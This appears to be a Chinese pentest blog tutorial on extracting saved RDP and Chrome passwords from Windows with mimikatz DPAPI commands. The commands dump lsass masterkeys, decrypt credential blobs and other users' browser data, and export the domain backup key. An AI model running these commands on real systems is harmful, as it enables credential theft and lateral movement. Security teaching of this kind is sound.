0x00 概述

在使用 rdp 时会发现系统有保存连接密码的功能,一定在本地以一种加密方式保存,在连接的时候解密进行rdp尝试,那么我们能不能那到加密的密码解密以获取这台机器rdp连接过的机器呢?

0x01 流程

“AppData\Local\Microsoft\Credentials\XXX”  -->> GUID(guidMasterKey)  -->> 通过 sekurlsa::dpapi 对比GUID拿到Masterkey -->> mimikatz 通过 “AppData\Local\Microsoft\Credentials\XXX” 和 masterkey 解密秘钥。

0x02 方法

首先使用cmdkey /list来查看是否有保存的凭据密码信息。可以保存rdp凭据,ssh凭据等连接凭据。

如果没有:

有些环境可能有很多的凭据信息:

例如:


当前保存的凭据:目标: Domain:target=TERMSRV/192.168.100.52类型: 域密码用户: admin本地机器持续时间目标: LegacyGeneric:target=Adobe User Info(Part2)类型: 普通 用户: User DT本地机器持续时间目标: LegacyGeneric:target=TERMSRV/172.16.1.246类型: 普通 用户: administrator本地机器持续时间目标: Domain:target=TERMSRV/192.168.100.42类型: 域密码用户: admin本地机器持续时间目标: LegacyGeneric:target=TERMSRV/10.10.40.53类型: 普通 用户: lmrsec\tony本地机器持续时间目标: LegacyGeneric:target=Adobe User Info(Part1)类型: 普通 用户: User DT本地机器持续时间目标: LegacyGeneric:target=TERMSRV/192.168.100.45类型: 普通 用户: administrator本地机器持续时间目标: LegacyGeneric:target=Adobe User OS Info(Part1)类型: 普通 用户: User OS Info本地机器持续时间目标: LegacyGeneric:target=TERMSRV/172.16.1.134类型: 普通 用户: administrator本地机器持续时间目标: LegacyGeneric:target=TERMSRV/192.168.100.46类型: 普通 用户: administrator本地机器持续时间目标: LegacyGeneric:target=TERMSRV/10.10.40.54类型: 普通 用户: LMRSEC\lmr本地机器持续时间    目标: LegacyGeneric:target=TERMSRV/172.16.1.124类型: 普通 用户: administrator本地机器持续时间目标: LegacyGeneric:target=TERMSRV/10.10.20.123类型: 普通 用户: pc本地机器持续时间目标: LegacyGeneric:target=TERMSRV/10.10.40.100类型: 普通 用户: lmrsec\tony本地机器持续时间目标: LegacyGeneric:target=TERMSRV/10.10.40.55类型: 普通 用户: LMRSEC\tony本地机器持续时间        目标: LegacyGeneric:target=TERMSRV/10.10.40.62类型: 普通 用户: MEC0\administrator本地机器持续时间        目标: Domain:target=192.168.1.94类型: 域密码用户: LEE-PC\admin目标: Domain:target=10.0.0.152类型: 域密码用户: LEE-PC\administrator    目标: LegacyGeneric:target=chia-user-chia-1.8类型: 普通 用户: wallet-user-chia-1.8-0    目标: Domain:target=PIG类型: 域密码用户: LEE-PC\admin

使用命令:dir /a %userprofile%\AppData\Local\Microsoft\Credentials 来查看保存凭据的目录和凭据的值

接下来就一个一个实验吧,因为这个下面是凭据的值,不一定哪一个是你要的,需要写工具批量查喽。

例如:

mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit >a.txt
mimikatz(commandline) # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
**BLOB**dwVersion          : 00000001 - 1guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}dwMasterKeyVersion : 00000001 - 1guidMasterKey      : {fe6b8194-8763-4328-a189-23815ffc11bc}dwFlags            : 20000000 - 536870912 (system ; )dwDescriptionLen   : 00000012 - 18szDescription      : 本地凭据数据algCrypt           : 00006603 - 26115 (CALG_3DES)dwAlgCryptLen      : 000000c0 - 192dwSaltLen          : 00000010 - 16pbSalt             : 67ac51d78138d3bb51ed1c07b1bc17a7dwHmacKeyLen       : 00000000 - 0pbHmackKey         : algHash            : 00008004 - 32772 (CALG_SHA1)dwAlgHashLen       : 000000a0 - 160dwHmac2KeyLen      : 00000010 - 16pbHmack2Key        : 8f18a25d233beb6c1fb8985285fc14d7dwDataLen          : 00002a10 - 10768pbData             : f8499588628921158b20b343b3f887ece87192f1a6f0d00fd223f1b001fa55c6feeb......

记住 guidMasterKey   {fe6b8194-8763-4328-a189-23815ffc11bc}

mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt

在b.txt中找 {fe6b8194-8763-4328-a189-23815ffc11bc} 对应的MasterKey

Authentication Id : 0 ; 568702 (00000000:0008ad7e)
Session           : Interactive from 1
User Name         : administrator
Domain            : LMRSEC
Logon Server      : AD
Logon Time        : 2022/9/22 14:14:42
SID               : S-1-5-21-4175578073-168413485-1140492047-500[00000000]* GUID      : {ef3e71aa-6279-4999-9c2d-cbb67f71eb3f}* Time      : 2022/9/22 14:16:03* MasterKey : 6a58ad5cfa0d10fb3fd8ea9647eace29481338b7bc23c6d485780be9a136276840e601be86c6d84586948f93d83bf4bc7c2063a51f74b91afd1c2b3eb1d28cf6* sha1(key) :   e500f8e3977bac36b4eb56ebea93d222bd1e748c[00000001]* GUID      : {fe6b8194-8763-4328-a189-23815ffc11bc}* Time      : 2022/9/22 14:15:05* MasterKey : 57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0* sha1(key) :   eb92f311be6e846c0ae0241a332dd28415048e0a[00000002]* GUID      : {17a3b3a5-41f6-4809-adb4-20f255db4e2b}* Time      : 2022/9/22 14:16:51* MasterKey : eacdf11ecd0a819bc619e378292a873d994313be95d8aa9bab5924df98f389d93274c2fc9f532afcfc0dca7b19e1d70aca65887a2e26ac1983f45dd555345825* sha1(key) :   7c09ddedde899693c19e66b1e8b918beb42bb15f
mimikatz 读取密码:mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D /masterkey:57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0" exit>c.txt

UserName就是账户,CredentialBlob  字段值是解密后的密码,如果是空,就尝试 Credentials  目录下其他凭据的值。(毕竟渗透也是个苦力活...)

Decrypting Credential:* masterkey     : 57571066d0752738bebc51550a89ac801db0729abd0aa61f0945262e6b4d279445b08e2023ea1a2b1d357594f7838d02b76250a456f9d9e59af4b3ba659352c0
**CREDENTIAL**credFlags      : 00000030 - 48credSize       : 00002a0e - 10766credUnk0       : 00000000 - 0Type           : 00000001 - 1 - genericFlags          : 00000000 - 0LastWritten    : 2022/7/10 13:00:32unkFlagsOrSize : 00000000 - 0Persist        : 00000002 - 2 - local_machineAttributeCount : 00000020 - 32unk0           : 00000000 - 0unk1           : 00000000 - 0TargetName     : WindowsLive:target=virtualapp/didlogicalUnkData        : (null)Comment        : PersistedCredentialTargetAlias    : (null)UserName       : 02qfntekitrtCredentialBlob : Attributes     : 32**ATTRIBUTE**Flags   : 00000000 - 0Keyword : Microsoft_WindowsLive:authstate:0Value   : 01 00 00 00 d0 8c 9d df 01 15 d1 11 8c......

实际渗透中可以将 Credentials目录和 lsass.exe 的内存文件保存到本地。

我一般会优先破解近期访问的连接。 例如,2022/09/22 13:41 这个近期的连接,我们尝试破解一下:

mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336" exit|findstr guidMasterKey" exit

从刚刚导出的  sekurlsa::dpapi 查找 GUID 对应的 MasterKey:

mimikatz "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\BDB00E0494A9448757D06512E460C336 /masterkey:5823ca8c268bb7b96a52c3cf21e3d47c453be443e1ed8acbeee4813785c030f9bb765447c6c4e8e735726871c57b5d361bcfa1507cedc0a11850995ab199843a" exit

进一步的,想知道windows保存了哪些凭据,那些没保存,使用命令:

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

如果没保存密码,结果如下:

如果保存了,如下:

导出windows密码技巧总结_渗透测试中心的博客-CSDN博客

0x03 破解浏览器凭据

其他凭据,如web浏览器凭据:

dir /a "%userprofile%\AppData\Local\Google\Chrome\User Data\Default\Login Data"

都是用 dpapi 加密的。

解密本地浏览器凭据:

mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect

chrome 80以前是直接可以通过dpapi去解密的,80以后变成AES了,所以需要指定一下/encryptedkey参数,这个参数内容是在Chrome/User Data/Local State这个文件里,这是个json文件,搜里面的encrypted_key,这个参数就是加密的密钥,指定之后就可以成功解密保存的密码了

mimikatz "dpapi::chrome /in:\"C:\Users\lmr\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAAcNoSWcBg/SJyGPdAHkODAAAAAAAIAAAAAAANmAADAAAAAEAAAAA7YX8gUf3+tiMFkL6W6I1gAAAAABIAAAKAAAAAQAAAALPfk2cUfKSaXWrBO+q1sTSgAAACTT3f5PFH6LsG0F+KFyPyYjzVwPar8ePO2I/Tgi3/SVNyx+XxlXi8eFAAAAC6DyST9L+EPyq4tGdXLOARW0dvW" exit

如果你不满足于只接触当前lmr用户的浏览器凭据,也想拿域内其他机器的浏览器凭据,那么要满足几个条件:管理员权限,拿到2个文件 Local State + Login Data + masterkey

例如lmr用户想crack tony用户的浏览器凭据,需要拿到tony用户下的 Local State 和 Login Data 文件,分别在 "%localappdata%\Google\Chrome\User Data\Local State" 和 "%localappdata%\Google\Chrome\User Data\Default\Login Data"目录。

具体操作如下:

mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+" exit

会提示去GUID找masterkey,GUID的生成导出上文已经介绍过了,具体命令是:

mimikatz "privilege::debug" "sekurlsa::dpapi full" exit>b.txt

找到 GUID: {e50897bb-0a4e-413c-89fd-140dcaaf6814} 对应的masterkey:

再次crack:

mimikatz "dpapi::chrome /in:\"C:\Users\tony\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /unprotect /encryptedkey:RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAC7lwjlTgo8QYn9FA3Kr2gUAAAAAAIAAAAAAANmAADAAAAAEAAAAJwtvYN1SduvSThcd3jUU0cAAAAABIAAAKAAAAAQAAAAPaGDdYmChJdd5jkm9jGWWygAAAAdSUuaJEX85zORzq8BP8RM4sePvSFV6MRGokcE0hJwlMioFLmziL+BFAAAAICv4ae9Ic5C3tzsAMyc5ntLd/l+ /masterkey:4faab22310c7db06402aca7b8aef779dc67549da6c0aeb9ca0ffd052b1e58740b650ac4931551ba1aed78f11784735ac06d6989dbb33e297cab6294e9502479a" exit

0x04 域内获取masterkey的其他思路

使用域备份密钥解密受害主机的主密钥

需要三步:

1. 导出域控pvk文件

mimikatz.exe "lsadump::backupkeys /system:AD /export" exit

** /system: 后面填写域控机器名,否则会找不到DC,报错,例如:

微软的那个错误代码搜索源码错误位置:

2.通过pvk得到GUID的masterkey (需要什么GUID就用谁的GUID去导出)

mimikatz.exe "dpapi::masterkey /in:C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4175578073-168413485-1140492047-500\8bb03b74-9c66-4a30-852c-b45d3c99bb79 /pvk:ntds_capi_0_9876a14a-13b0-49a3-b2c1-466e7432ea02.keyx.rsa.pvk" exit >a.txt

在导出文件最后的key字段里:

3.同上文0x03,使用mimikatz 破解rdp或浏览器凭据。

0x05 后记

试着导出了自己笔记本的浏览器凭据,竟然有50KB之多,可见自己之前的上网习惯是不太好的。

导出的文件一共1731行,前392行是含有凭据信息的,后面的保存了访问过的需要凭证的网站信息。

0x06 reference

https://www.coresecurity.com/core-labs/articles/reading-dpapi-encrypted-keys-mimikatz

使用 MimiKatz 读取 DPAPI 加密密钥的几种方式 - 先知社区   (上文翻译)

Mimikatz抓取密码分析 - hixiaoai - 博客园

利用mimikatz查看rdp连接密码【渗透测试】相关推荐

  1. Kali利用msf对MS10_061漏洞进行渗透测试

    注意事项: kail首次打开metasploit,会初始化数据,可能会有点慢,请耐心等待! 本文仅供学习漏洞渗透测试,不得用于其他非法用途,否则造成的任何后果自负!!! 1. Metasploit简介 ...

  2. 渗透测试 ( 1 ) --- 相关术语、必备 工具、导航、全流程总结、入侵网站思路

    From:https://zhuanlan.zhihu.com/p/401413938 渗透测试实战教学:https://www.zhihu.com/column/c_1334810805263515 ...

  3. Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等

    Penetration_Testing_POC 搜集有关渗透测试中用到的POC.脚本.工具.文章等姿势分享,作为笔记吧,欢迎补充. Penetration_Testing_POC 请善用搜索[Ctrl ...

  4. Kali Linux 渗透测试 博客记录

    本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的<Kali Linux 渗透测试>课程 文章为长时间连载,内容具有连续性,禁止转载! --- ...

  5. 奇安信 渗透测试(攻防类)一面复盘

    奇安信 渗透测试(攻防类)一面复盘 1.你是哪里人 2.你是做安全研发的,在qax这边除了这个红队的岗位还投递其他了吗 3.看你研发做的比较多,为什么投递这个岗位 4.给了一个具体的场景,问你做渗透测 ...

  6. 万字渗透测试入门知识点,自学查漏补缺

    后续慢慢更新各个知识点的内容~ 知识点目录 渗透工具环境安装 Java环境安装 Python环境安装 Kali Linux配置与使用 VMware安装kali VMware虚拟网络编辑 Linux使用 ...

  7. Metasploit渗透测试魔鬼训练营

    信息搜集 外围情报搜集 物理机有网状态下 物理机无网状态下 个人推测 获取的信息 主机探测与端口扫描 活跃主机扫描 ICMP Ping命令 Metasploit的主机发现模块 arp_sweep使用方 ...

  8. 【渗透测试笔记】之【内网渗透——Windows系统散列值获取与防范】

    拓扑图 Windows系统散列值获取 1.通过CS模块获取用户凭证信息 在获取到目标主机权限后,我们可以抓取hash和dump明文密码,这两项功能都需要管理员权限,如果权限不足,先要进行提权操作. 抓 ...

  9. 渗透测试 ---- 信息收集

    信息收集 WEB 程序源码 在安全测试中,Web源码是一个重要的信息来源,可以通过审计源码找出漏洞,也可也根据网站使用的框架和CMS测试可能存在的漏洞.获取到Web源码可以为后期的测试提供更多思路 W ...

  10. 网络安全技术方面渗透测试入门笔记

    一.网站基础与信息收集 1.网站的基本概念 http://192.168.80.128/shownnew.asp?id=16 访问的是网站中的那个网页? shownews.asp 这是一个静态还是动态 ...

最新文章

  1. mysql null 排前面_Mysql实现null值排在最前/最后的方法示例
  2. python详细安装教程3.7.4-python 3.7.4 安装 opencv的教程
  3. alloc 和 init都做了什么验证。
  4. Linux TCP/IP中L4L3的实现框架:udp recv部分
  5. P1447-[NOI2010]能量采集【GCD,数论,容斥】
  6. python项目如何上线_django项目部署上线(示例代码)
  7. 深度学习自学(二十二):推理框架-MNN
  8. vmware复制fedora16出现网络启动错误
  9. Flowable源码注释(三十二)任务超时作业
  10. window10/11拨号连接宽带连接开热点
  11. 电话薄程序java程序实现
  12. 压缩视频文件怎么压缩最小?
  13. android调用相机分辨率,Android菜鸟笔记-获取摄像头像素值
  14. 【天光学术】财务会计论文:家电连锁零售企业财务分析方法与注意问题(节选)
  15. java的类库安装在哪_Java系列学习(一)-JDK下载与安装
  16. 闲鱼疯转 6800 份!大厂内部数据分析资料首次公开!
  17. l1-044. 稳赢c语言,L1-044 稳赢 (15 分)(解析有坑点)
  18. 医院计算机网络构建,某医院网络的组建与规划设计开题报告
  19. MySQL中的隐藏列!_rowid
  20. 个人博客建站教程最全解析

热门文章

  1. CodeVS 1359 数字计数 51nod 1042 数字0-9的数量 Pascal
  2. Vue 项目中各种痛点问题及解决方案
  3. c语言打印星号金字塔图形
  4. 计算机无法读取exe文件,电脑所有EXE文件都打不开的原因和多种解决方案
  5. webmagic保存html页面,WebMagic抓取前端Ajax渲染的页面
  6. Python网络爬虫阶段总结
  7. 网络会变的有自我意识吗
  8. 健身的好方法-----软件开发人员
  9. 文华财经期货K线多周期画线技术,多重短线技术共振通道线指标公式——多周期主图自动画线
  10. kiv8测量方法_云市场-404